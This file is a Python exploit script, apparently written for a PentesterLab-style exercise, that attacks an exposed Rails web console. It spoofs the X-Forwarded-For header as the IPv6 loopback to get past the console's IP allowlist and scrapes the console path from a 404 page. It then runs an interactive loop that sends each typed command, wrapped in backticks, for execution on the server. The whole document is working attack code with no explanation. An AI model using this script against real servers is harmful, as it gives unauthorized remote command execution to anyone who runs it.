#!/usr/bin/python3
import requests
import sys
import re

# lambda
_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'
success_message = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
error_message = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
info_message = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

url = 'http://ptl-0d241748-4028bb14.libcurl.so/'
header = {'X-Forwarded-For': '0000::1'}

print(info_message('Searching for the console path ...'))
resp = requests.get(url + 'idonotexist', headers=header)
if resp.status_code != 404:
    print(error_message('Ouups something goes wrong!'))
    sys.exit(1)

print(success_message('Console path successfully found!'))
console_path = re.findall("data-remote-path='([^']+)'", resp.text)[0]
print(info_message('Path: {}\n'.format(console_path)))

print(info_message('Interacting with the web shell ...'))
url = url + console_path
while True:
    header = {
        'X-Forwarded-For': '0000::1',
        'Accept': 'application/vnd.web-console.v2',
        'X-Requested-With': 'XMLHttpRequest'
    }
    
    cmd = input('cmd> ')
    if cmd == 'exit' or cmd == 'quit':
        break
    elif cmd == ' ':
        continue

    cmd = '`' + cmd + '`'
    data = {'input': cmd}
    
    resp = requests.put(url, data=data, headers=header)
    print(resp.text)

